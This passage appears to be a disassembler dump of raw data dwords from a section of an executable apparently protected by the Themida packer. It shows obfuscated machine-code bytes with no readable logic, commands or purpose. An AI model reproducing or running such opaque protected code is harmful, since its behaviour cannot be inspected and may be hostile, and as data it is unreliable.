dd 0C103188Bh, 0C18B188Bh, 0C203E8D1h, 8158188Bh, 67B7ED7h dd 68E0F4Eh, 29000000h, 718F59Dh, 29BD8306h, 6070Eh, 3F840Fh dd 0BD230000h, 6072B25h, 0B8h, 4DFBBF00h, 8D8D5131h, 6074B9Bh dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 19h, 0EDC35040h dd 60D337F4h, 9E1FF32h, 72251BDh, 5BD8306h, 60733h, 3D1840Fh dd 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 160424h dd 53430000h, 7DB994C3h, 3305BD83h, 0F010607h, 3C184h dd 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1404h dd 0C3504000h, 0FE8B6667h, 3305BD83h, 0F030607h, 35F86h dd 60CEB700h, 6AD98C66h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 1B042444h, 45000000h, 0E743C355h, 0C8EEFA94h dd 12E960BFh, 12000000h, 4C4C35F6h, 0B9D2D8D5h, 4E6AD53h dd 0F74CE53h, 4E180D0h, 51BD8BF5h, 0A06070Ch, 34840FC9h dd 8B000001h, 72A1D85h, 9E806h, 3FD30000h, 0ECE105B7h dd 5B0B099Eh, 1AFD8533h, 6A0607h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 140424h, 55450000h, 816646C3h, 50F41EF3h dd 89FE8B66h, 6A2404h, 14E99D8Bh, 4E80607h, 0FF000000h dd 60001F03h, 5061F9B7h, 38D0Fh, 8B660000h, 24448BF9h dd 14E904h, 0F3860000h, 9B2C3EB2h, 57E11EF2h, 0C80E45EAh dd 5C5D065Fh, 8B15D2h, 11E9h, 628F7F00h, 0E90A2D41h, 0D5AC1F96h dd 0B8ACD438h, 4489C317h, 8B660424h, 6A58F8h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 190424h, 57470000h, 514CA8C3h dd 943F36Dh, 732F59Dh, 0F995FF06h, 6A060709h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 17042444h, 46000000h dd 807AC356h, 9D892C0Fh, 6073125h, 11E953h, 7B1E0000h dd 63D6ED1Bh, 1F3AB5CAh, 921951E0h, 5B0E8429h, 0ADDF8589h dd 6A060Ah, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h dd 55450000h, 0E7C6F3C3h, 16FE9h, 8BD3B300h, 0AADD785h dd 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1404h dd 0C3534300h, 81666070h, 891EA1D2h, 70D1995h, 0BD236106h dd 60728D9h, 25E9BD8Bh, 0C70607h, 18h, 0BE86BF66h, 0ADDBB58Bh dd 0F98A060Ah, 2BCD858Bh, 89F50607h, 56006A06h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1504h, 0C3564600h, 858B8740h dd 6072A1Dh, 19099589h, 46890607h, 6890F04h, 8B000000h dd 718619Dh, 0FA8B9606h, 0D1B56050h, 0BE9h, 0DE0E4300h dd 0B88C6892h, 7EE41C77h, 0AE89661h, 0D7000000h, 2C70779Ch dd 68FE5045h, 3DBD2908h, 5B060729h, 0ADD7B5FFh, 6A060Ah dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h, 51410000h dd 6A6840C3h, 5C0F3021h, 168BEE4h, 0F62EB1Dh, 88Ah, 2800F00h dd 8B000000h, 243481D8h, 62F41EFEh, 858DF98Bh, 60AADDFh dd 0F50E7B7h, 88h, 24048900h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 16h, 4DC35040h, 0F5BBC520h, 0FF3F0805h dd 709F995h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1704h, 0C3534300h, 0C25BF3E5h, 217D8D89h, 5E90607h dd 64000000h, 53FFC980h, 85C7F561h, 6073305h, 3, 11E9h dd 11019900h, 0BEA64C27h, 27187A0Fh, 74FA5A1Dh, 0CE9BA9Bh dd 0DB000000h, 0C0F71507h, 0FDBB11CDh, 834DA6BDh, 0AADDFBDh dd 840F0006h, 2Ch, 41E9F8h, 6A0000h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 180424h, 56460000h, 9BD561C3h dd 0BD8B93E5h, 60705A5h, 110C3050h, 1114400h, 3010E8C1h dd 21144h, 5803114Ch, 7504E983h, 5036EBE7h, 110430h, 0C1011164h dd 443010E8h, 64000211h, 83580311h, 0E77504E9h, 0C1501BEBh dd 642810E8h, 44300311h, 28580211h, 30011164h, 0E9831104h dd 0EBE77504h, 6AC08B00h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 14042444h, 45000000h, 0E8C4C355h, 0Bh, 0C8D1DFEBh dd 50369DA8h, 0BFB17D99h, 74AC9832h, 12E9525Bh, 0B8000000h dd 0BC58686Eh, 21A2977Ah, 8CD15B78h, 3DB767D3h, 0BD835B96h dd 6073305h, 0E6850F03h, 6A000003h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 16042444h, 40000000h, 5E4DC350h dd 83DF8BC1h, 0AADDFBDh, 840F0006h, 3B9h, 0E856006Ah, 3 dd 5EC35E20h, 4247489h, 4244481h, 19h, 6AC35646h, 0CF2C7206h dd 0CD95296Eh, 0FF06071Eh, 0AADDFB5h, 1854BF06h, 95FF46BCh dd 6072129h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 18h, 39C35545h, 6B970992h, 8BF98B66h, 0AADD3B5h, 51006A06h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1A04h, 0C3514100h dd 0D8C67AA5h, 8964746Dh, 70FCDBDh, 106C706h, 6A000100h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 15042444h dd 45000000h, 0B3F8C355h, 98E38166h, 0E9605055h, 13h, 6009254Bh dd 2A2811C8h, 2926DF8Ah, 761405D0h, 0E8940421h, 0Ah, 0ACC6D6F6h dd 54464F12h, 8E0F1750h, 0 aAi4J db '[a┴4$j',0 db 57h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1704h, 0C3574700h dd 0C232C59Ch, 302DBD89h, 0BD8B0607h, 6070FD5h, 0B5FFF6B7h dd 60AADDFh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 18h, 2AC35747h, 3E12D58Eh, 29FD9D29h, 95FF0607h, 6070251h dd 0B58B21B3h, 60AADD3h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 1Ah, 23C35545h, 0A43B69CBh, 81663714h, 8B895CCFh dd 712A185h, 0C4868906h, 31000000h, 71B6585h, 0D9958B06h dd 6A06071Ah, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 1A042444h, 41000000h, 6688C351h, 41A81C9Bh, 4C2833Bh dd 0EC78166h, 20508989h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 1Bh, 24C35545h, 0EAF838E9h, 8B1DB2E0h, 70725BDh dd 0F7816606h, 858D7C3Ah, 60AC170h, 2D1DBD89h, 86890607h dd 0B8h, 33DBB66h, 0BD8B006Ah, 6071A05h, 0ADDFB5FFh, 0D781060Ah dd 2370F7E0h, 79195FFh, 0BD8B0607h, 6070A81h, 0EFEDBB50h dd 34891A94h, 10E824h, 0B1D60000h, 950667ACh, 5F5851B1h dd 0C0553716h, 9D8B1BFBh, 6070871h, 0DFB5FF5Fh, 81060AADh dd 2D50B5CBh, 995FF32h, 6A06072Dh, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 18042444h, 42000000h, 0F59EC352h dd 8BF1509Eh, 0C1BD83FBh, 60714h, 26840Fh, 85090000h, 6070D5Dh dd 11E950h, 2210000h, 8BC744F9h, 43798A74h, 6E0E130Bh dd 894DC7E6h, 0BD232434h, 60703B1h, 0ADDFB5FFh, 6A060Ah dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 190424h, 52420000h dd 86BCA4C3h, 0FE2A092h, 95FFDBB7h, 6071F95h, 0B5FFF88Bh dd 60AADDFh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 16h, 3BC35747h, 95FF8373h, 60702C1h, 0E853006Ah, 3 dd 5BC35B20h, 4245C89h, 4244481h, 1Bh, 0EFC35343h, 0ECDA1E3Dh dd 8BA27FA9h, 732A5BDh, 65BD8306h, 2060728h, 61840Fh, 6A0000h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 170424h, 53430000h dd 6F0E22C3h, 21B58937h, 8B060720h, 70E6985h, 57006A06h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1504h, 0C3574700h dd 0F57A188h, 68Bh, 6D8D8900h, 5F06071Eh, 520000C6h, 598D895Bh dd 0C7060722h, 72A5185h, 6, 0DE95200h, 0E000000h, 666E8EF5h dd 0DED94891h, 9E585ACBh, 0F4CFE95Fh, 0BD31FFFFh, 6070345h dd 0B589C18Bh, 6070F8Dh, 18B1858Dh, 6A0607h, 3E850h, 58200000h dd 448958C3h, 44810424h, 1C0424h, 50400000h, 67BE4EC3h dd 0AA3E88B8h, 0F90A19Fh, 484h, 0F88B5300h, 0BF66505Fh dd 6A908DE9h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 19042444h, 43000000h, 0BB87C353h, 0C0868A5Bh, 6A006Ah dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h, 53430000h dd 9ECE5DC3h, 0BF75A0BBh, 6A85B7h, 858D54B3h, 60C2733h dd 5C083F9h, 91BD03h, 0E9500607h, 0Dh, 428156h, 50017634h dd 4440DABAh, 2404899Ch, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 17h, 91C35040h, 0E9607675h, 0Ch, 3F7E6F5Fh dd 300156C8h, 6B78D1AFh, 6A006Ah, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 190424h, 55450000h, 0BBCD72C3h, 0BF3250C9h dd 5B69F3CFh, 6AF88Bh, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 1Ah, 0D6C35545h, 77AC21CEh, 0D2BB6280h, 0F53796ECh dd 1E3D95FFh, 9E80607h, 10000000h, 2281360Ch, 0A329DCCh dd 19119589h, 8D5B0607h, 0A93D58Dh, 50006A06h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1B04h, 0C3504000h, 30F22DF9h dd 0B4249CB6h, 188D8589h, 0BB660607h, 0D1FF8D35h, 116DBD8Bh dd 0BD830607h, 60719BDh, 0AB850F01h, 6A000000h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 1C042444h, 41000000h dd 0C440C351h, 82A327CEh, 6A574D41h, 57006A02h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1604h, 0C3574700h, 90052E87h dd 0FCA7D7BBh, 32B7501Dh, 52006A90h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1604h, 0C3524200h, 0E992BCB0h dd 6, 0A9DA9DE4h, 953222Dh, 72AE19Dh, 95FF5B06h, 6070791h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 18h, 4C35242h dd 89C96287h, 849BD8Bh, 3AE90607h, 0E800000Eh, 0 dd 3DED815Dh, 8A060C27h, 0BBFC8AF8h, 72BA8E6h, 843F858Dh dd 6A060Ah, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h dd 52420000h, 741FCC3h, 3D27F86Bh, 0BD897186h, 6072345h dd 13E96090h, 0E9000000h, 2B047E32h, 65B8BABEh, 10584CE1h dd 0FE05F200h, 50613ACBh, 0EE9h, 0BAA86F00h, 0EB6D19C2h dd 8EB5E6FCh, 90BA4E2Eh, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 17h, 37C35747h, 0F8528E2h, 8B66DEBFh, 64D4B7FBh dd 35FFh, 89560000h, 703519Dh, 89645B06h, 25h, 0C59D8B00h dd 0FF06071Fh, 72F5985h, 6AFA8B06h, 51006AFFh, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1D04h, 0C3514100h, 8261E591h dd 0D8830087h, 0F7B3EA00h, 0CED78166h, 39B5FF30h, 6A060720h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1A042444h dd 47000000h, 0FE07C357h, 6A7AF155h, 0B70F609Bh, 14E9F2h dd 9E470000h, 0ED479472h, 1345414Ah, 0D9F6EE80h, 989D42CCh dd 89618DF2h, 7306D85h, 8995FF06h, 0E906072Bh, 0F8h, 2211BD8Bh dd 0B00607h, 68B0Fh, 9D8B0000h, 6070C6Dh, 0BD8B70E6h, 607153Dh dd 0C8BF71E4h, 3C7BA7F4h, 0CD830F61h, 66000000h, 0FF155BBh dd 0BD8BC8B6h, 6070DC1h, 6BAh, 8D896000h, 6071365h, 6161F960h dd 890FC18Bh, 6, 18B59D31h, 0E8C10607h, 0E2F76604h, 0CE9h dd 86A4DD00h, 8E44FACAh, 98E090CFh, 8BC82BDFh, 70B099Dh dd 8BD18B06h, 730499Dh, 76E906h, 8BF50000h, 47554C85h dd 818D8949h, 8306072Ah, 0BD8B07C0h, 6071545h, 0E900C083h dd 9, 0EF287C6Eh, 0E9A8541Eh, 0FD03B44h, 1083h, 0BD958900h dd 0F906071Ah, 3BE9h, 8BFA8A00h, 0FF8D8BFAh, 8BFFFFFFh dd 7075D9Dh, 1E18306h, 22840Fh, 0A5830000h, 0FFFFFFFFh dd 0BD8B56FEh, 6071131h, 89B8B75Fh, 47554C95h, 51958949h dd 0E906071Fh, 0 dd 0AB12B58Dh, 0FA8B060Bh, 6A006Ah, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 180424h, 52420000h, 5B1220C3h dd 95FF8583h, 6070D69h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 1Dh, 0E6C35040h, 0FB4AFF6Ah, 8693F545h, 0FDCB97Fh dd 8B660000h, 0FCE183D9h, 0F3C78166h, 6AFC63h, 3E853h dd 5B200000h, 5C895BC3h, 44810424h, 190424h, 53430000h dd 29C2AAC3h, 0B8791D54h, 0 dd 0A1BA6660h, 5985017Bh, 61060726h, 0B70FD22Bh, 0C233ADFBh dd 0D003E8D1h, 7504E983h, 0FDCB3F4h, 5B56DFBFh, 880Dh dd 1D9D8B00h, 8B060703h, 71AD995h, 0DF816606h, 9D8B9209h dd 607117Dh, 101D8D8Bh, 0FBB70607h, 8BC28B50h, 8BC10318h dd 0D1C18B18h, 8BC203E8h, 12BF5818h, 0BB65EB84h, 258C63EFh dd 1D59D23h, 0BD830607h, 6070E29h, 0A3840F00h, 6A000000h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1A042444h dd 47000000h, 0D66EC357h, 41B8A62Eh, 0B82Bh, 6A0000h, 3E850h dd 58200000h, 448958C3h, 44810424h, 150424h, 50400000h dd 0E9FFB5C3h, 13h, 0B1408D98h, 81A2B796h, 990B7116h, 1958BBB6h dd 8B7A743Bh, 722F99Dh, 9B8D8D06h, 0E806074Bh, 0Bh, 0D7466067h dd 0A8565107h, 89A7860Bh, 71AF195h, 0E1FF5F06h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 18h, 1BC35545h, 0A9126E22h dd 0BD83FE8Bh, 6073305h, 11840F00h, 6A000005h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 14042444h, 40000000h dd 832FC350h, 73305BDh, 840F0106h, 503h, 0E857006Ah, 3 dd 5FC35F20h, 4247C89h, 4244481h, 17h, 0C5C35747h, 50D06C65h dd 6918501h, 665F0607h, 0BD83DA8Bh, 6073305h, 96860F03h dd 6A000004h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 18042444h, 43000000h, 722EC353h, 60E05984h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 16h, 91C35242h, 8C66E5C6h dd 50006AD9h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1904h dd 0C3504000h, 9D89C62Dh, 0E180276Dh, 65858904h, 0A060712h dd 66840FC9h, 6A000001h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 19042444h, 45000000h, 0CFDAC355h, 442B9A2Ch dd 2A1D858Bh, 6A0607h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 1C0424h, 57470000h, 0E3BBAFC3h, 9116E14Fh, 6660B698h dd 8B66D78Bh, 0E38061F2h, 0FD85334Fh, 6A06071Ah, 3E85000h dd 20000000h, 8958C358h, 81042444h, 16042444h, 40000000h dd 42EAC350h, 8589609Bh, 6071EA9h, 53565061h, 4895F5Bh dd 0A9BF6624h, 0D7816695h, 6A364Ch, 28B99D8Bh, 0D8680607h dd 0B3A07B9Dh, 2404815Ah, 5FA36627h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 15h, 11C35141h, 419D8BE1h, 0F9060712h dd 9F995FFh, 6A0607h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 180424h, 51410000h, 0F340BFC3h, 9D8B2144h, 6071E21h dd 0ADDF8589h, 6A060Ah, 3E850h, 58200000h, 448958C3h, 44810424h dd 150424h, 50400000h, 0E9E451C3h, 0Ch, 0B91FC9E0h, 1253E8E6h dd 0DE37195Ch, 256E9h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1604h, 0C3574700h, 60A44896h, 8D89EF8Ah dd 6071305h, 68D0F61h, 8B000000h, 72899BDh, 0D7858B06h dd 6A060AADh, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 18042444h, 43000000h, 0A10EC353h, 0C79A813Eh, 1800h dd 4D8D3100h, 8B06072Eh, 0AADDBB5h, 998D2906h, 8B060702h dd 72BCD85h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1904h, 0C3564600h, 0E8D0168Eh, 0D98B9DADh, 0BD890689h dd 6070BB9h, 2A1D858Bh, 9D890607h, 6070835h, 12E1BD8Bh dd 46890607h, 57006A04h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1C04h, 0C3574700h, 1F0A13C7h, 0ED0D36F0h, 0F5BD2B48h dd 96060728h, 14E9h, 5AB9AB00h, 45AE06DEh, 7038B10Ah, 673D007h dd 0FAE7029h, 0EE850EAh, 0AA000000h, 1571E30h, 0ADC83C27h dd 0F3DFFD7Dh, 6A965B35h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 19042444h, 47000000h, 8D87C357h, 0D6F655E5h dd 1EF98D89h, 95890607h, 60708E1h, 0ADD7B5FFh, 6A060Ah dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 170424h, 55450000h dd 0CCEE76C3h, 0C870FE9h, 0F000000h, 683h, 6D8D8900h, 0E8060726h dd 4, 1F03FFh, 850Fh, 60500000h, 0F38BF28Bh, 24448B61h dd 8B5F5204h, 52506000h, 0FD98B66h, 0F525031h, 5A585A31h dd 6157B158h, 4244489h, 0AE9h, 0E0895300h, 72A7D01Bh, 5862D283h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 0E4C35242h dd 66975E2Bh, 821518F8h, 0F2BB6633h, 0DF858DCCh, 6A060AADh dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 16042444h dd 46000000h, 83CEC356h, 0FA8A508Eh, 6A240489h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 17042444h, 46000000h dd 3017C356h, 95FFE965h, 60709F9h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 15h, 0F9C35343h, 6EBB66A5h, 61DE8B1Ch dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 15h, 0D0C35646h dd 0E2D781A5h, 0E9719F42h, 8, 0F057B7B1h, 300A3A7Eh, 330585C7h dd 30607h, 0BD8B0000h, 6072B9Dh, 0ADDFBD83h, 0F00060Ah dd 4C84h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1B04h, 0C3564600h, 0DFF1A057h, 0CADBBCC7h, 3FE9h, 55006A00h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1C04h, 0C3554500h dd 60E70F41h, 16F486C6h, 0C30502Eh, 11440011h, 10E8C101h dd 2114430h, 3114C00h, 4E98358h, 36EBE775h, 11043050h dd 1116400h, 3010E8C1h, 21144h, 58031164h, 7504E983h, 501BEBE7h dd 2810E8C1h, 30031164h, 58021144h, 1116428h, 83110430h dd 0E77504E9h, 0C08B00EBh, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 14h, 79C35242h, 6AD8BF0Fh, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 15042444h, 46000000h, 4A36C356h dd 0DA59D89h, 0BD830607h, 6073305h, 7C850F03h, 0F000004h dd 68Eh, 5D9D8900h, 83060713h, 0AADDFBDh, 840F0006h, 463h dd 0DFB5FFF9h, 6A060AADh, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 16042444h, 42000000h, 1215C352h, 2995FF7Eh dd 9060721h, 721FDB5h, 0D3B58B06h, 6A060AADh, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 1A042444h, 43000000h dd 0D7A9C353h, 54B357B0h, 0F3D3812Fh, 0C708BD93h, 1000106h dd 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1A04h dd 0C3504000h, 0A0B2C4Eh, 0F455887h, 850FFABFh, 5, 604C56BBh dd 8B669601h, 0BF6050FAh, 533FD3C5h, 9A4A05BEh, 23966104h dd 725DDBDh, 0DFB5FF06h, 60060AADh, 68E0Fh, 958B0000h dd 60729ADh, 6119C680h, 5195FFF5h, 6A060702h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 1C042444h, 42000000h dd 0AAFFC352h, 7E5D08C6h, 81FE6B1Dh, 39BAAEBh, 0D3B58B23h dd 60060AADh, 8E9h, 0B75D8300h, 0F81B4893h, 6830FF7h, 89000000h dd 714F595h, 858B6106h, 60712A1h, 10E8h, 1577A700h, 97581967h dd 0A4D897B0h, 73C5BFD3h, 0CB816665h, 665B9614h, 8689FE8Bh dd 0C4h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 1Dh, 0E3C35343h, 0C00DDB15h, 394F2B03h, 0D9958B05h dd 8B06071Ah, 707B5BDh, 4C28306h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 18h, 23C35747h, 59FDFF53h, 559D8952h dd 5F060721h, 0E09CBF66h, 66205089h, 0CD5BDB81h, 0C170858Dh dd 6A060Ah, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h dd 55450000h, 0A74375C3h, 85916D0Fh, 6E9950Ch, 0AE000000h dd 7E32E9CEh, 85BD8B04h, 8906071Eh, 0B886h, 53006A00h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1A04h, 0C3534300h dd 861AFE72h, 898938D0h, 732A99Dh, 6AFA8A06h, 52006A00h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1C04h, 0C3524200h dd 0AF8D8CBh, 881DDDF6h, 4ABF666Dh, 0B19D8B0Ah, 0FF060728h dd 0AADDFB5h, 8E906h, 0C16E0000h, 0DAF888D2h, 0E8BB9086h dd 0FF3AE536h, 7079195h, 29958906h, 50060702h, 3489FA8Bh dd 57006A24h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1A04h dd 0C3574700h, 0B4545A0Fh, 89CC6565h, 712B985h, 0FAB70F06h dd 0ADDFB5FFh, 6A060Ah, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 140424h, 57470000h, 96B74FC3h, 32959D89h, 95FF0607h dd 6072D09h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 16h, 0F4C35141h, 526064D6h, 0B9F3BB66h, 6160605Eh, 0E96161F8h dd 11h, 52E4403Ah, 0B7E0957Fh, 3D9EF83Ch, 86ADF3B7h, 0C1BD8361h dd 60714h, 3C840Fh, 8B660000h, 14E9F9h, 68D10000h, 0A3076C5h dd 14CC0BBEh, 19E20E3Fh, 939D1F4Dh, 0E950116Eh, 11h, 7DA6EDEBh dd 0F99C8168h, 263002CEh, 0FED542D4h, 2434891Bh, 9D5BD8Bh dd 0B5FF0607h, 60AADDFh, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 19h, 79C35141h, 240E290Ch, 0D99D234Eh, 0FF060722h dd 71F9595h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1C04h, 0C3524200h, 0DDF9AD2Ch, 7801CEF6h, 558D01BBh dd 0FF060732h, 0AADDFB5h, 8840F06h, 0F000000h, 28Fh, 0FFDA8B00h dd 702C195h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1A04h, 0C3564600h, 0B7924703h, 37AB77Eh, 72B1DBDh, 65BD8306h dd 2060728h, 58840Fh, 0B5010000h, 60704C1h, 0E69858Bh dd 8A0F0607h, 22h, 820F60h, 0E8000000h, 14h, 2F0C3787h dd 687C2E4Ch, 0B045EC6h, 9EB7B242h, 583849E2h, 0C66158h dd 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1904h dd 0C3554500h, 3D16A50Ch, 85C7967Fh, 6072A51h, 0 dd 0E9DEB70Fh, 0FFFFF2B7h, 25DD9D8Bh, 0C18B0607h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 0FBC35343h, 0E6E65F68h dd 29BBF8CFh, 703B19Dh, 10E806h, 6AE60000h, 45FB4AFFh dd 7F8693F5h, 2EB586B9h, 8B660ACBh, 0BF6658DEh, 0C0814D31h dd 6FA3h, 11E9h, 0F79F5000h, 4CCCE34Ah, 0E2279755h, 0FDD3E278h dd 0D23389C5h, 9BB6651h, 348B5915h, 81FA8B10h, 0E34759F6h dd 81CE8A41h, 77E541F6h, 0D19D2B02h, 8106071Dh, 7DA6FAF6h dd 28F1814Dh, 89030BEEh, 74B71034h, 83D5CF80h, 0BF6601EAh dd 4A4A5B5Dh, 699D8B4Ah, 8106071Eh, 0FF90E4FAh, 0B7850FFFh dd 8BFFFFFFh, 701C59Dh, 0BA06h, 0EA81F00Eh, 0F0000000h dd 8914C283h, 722F195h, 14EA8306h, 36A8858Dh, 6450060Ch dd 35FFh, 89640000h, 25h, 0E800h, 2B580000h, 0F00025C2h dd 8166FFFFh, 0F5A4D38h, 1285h, 50B70F00h, 81D0033Ch, 45503Ah dd 0A840F00h, 2D000000h, 1000h, 0FFFFD9E9h, 89C88BFFh dd 7231985h, 3C400306h, 650B70Fh, 13D19589h, 508B0607h dd 25958950h, 5060712h, 0F8h, 30C508Bh, 0B59589D1h, 3060719h dd 95890850h, 607221Dh, 58F64h, 83000000h, 13E904C4h, 51000000h dd 10244C8Bh, 0B0A981h, 10000000h, 33590000h, 0BD83C3C0h dd 6073335h, 24840F00h, 0C6000000h, 709CD85h, 0D2684706h dd 0FFD49AA7h, 70D99B5h, 38858D06h, 0FF060A70h, 0FF006AD0h dd 818589D0h, 8B06070Bh, 9B8D8DD3h, 0F060C37h, 68Eh, 3FF68100h dd 8938C944h, 71AD98Dh, 50006A06h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1A04h, 0C3504000h, 4C63807Eh, 0FE98482h dd 85C7DFB7h, 607101Dh, 692Ch, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 1Ah, 59C35141h, 2C892744h, 85C7C7CCh dd 6073305h, 0 dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 0D3C35747h dd 1B5C34F6h, 51B5FF9Ch, 0FF060713h, 7185995h, 8FC08106h dd 6A47DBA5h, 6995FF00h, 8B06070Dh, 0AB29EBC0h, 92720457h dd 309C82F4h, 5E02E430h, 0A6E843A8h, 350BCDC2h, 3AB4234Fh dd 767DFCF8h, 452AA598h, 0CC23274Eh, 0FC91B20Ch, 38C58D8Dh dd 6A060Ch, 3E856h dword_58FF94 dd 5E200000h, 74895EC3h, 44810424h, 1B0424h, 56460000h ; DATA XREF: Themida_:0053D9B4o dd 0F91446C3h, 0B2362F96h, 21BD8903h, 8B060720h, 709B995h dd 0D98D8906h, 6A06071Ah, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 1B042444h, 42000000h, 0CACEC352h, 0D6E64FB2h dd 85C70376h, 607101Dh, 61C8h, 11E8h, 0DCE35A00h, 0AE1A962Ah dd 2811611h, 0FA091F99h, 6653EC01h, 38EAF681h, 85C75A58h dd 6073305h, 0 dd 0AE59D8Bh, 9D290607h, 60706E9h, 0BE9B5FFh, 6A0607h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h, 56460000h dd 0F23323C3h, 6EC67886h, 0D78BF88Bh, 185995FFh, 6A0607h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 170424h, 51410000h dd 2D6632C3h, 891CB669h, 71DC185h, 0FF006A06h, 70D6995h dd 0EBC08B06h, 47FE695Eh, 2F0003A7h, 49997470h, 3CF4B485h dd 72066A87h, 956ECF2Ch, 5469BAC9h, 3130A3DDh, 9168AD35h dd 0D9700A7Ah, 3861FBB6h, 74E65D80h, 8589DE67h, 472AEFF4h dd 0EDAF0D3h, 46B9BFD7h, 169385AEh, 7983EFC3h, 0E042A12Ah dd 0E1436F5Ah, 0AF32A042h, 700196C3h, 0B89E8D36h, 0DEED9D09h dd 0D4D4712Ah, 1DC4B46h, 0D4C8557Fh, 6398525Ch, 0A9A90B33h dd 0F1982633h, 0EF5E265Ah, 339F2FFEh, 0FFB44E60h, 0F867A5E4h dd 0A09F2BAAh, 23A0A3BEh, 79672039h, 0CED1A3BAh, 0D71B2034h dd 339F1506h, 831D2933h, 0C0982633h, 0AAA11EB6h, 0D6157635h dd 0AF941F19h, 9D0DD963h, 839E2129h, 35982664h, 1F152359h dd 4B941F09h, 8C1DAB63h, 39E2A0Ah, 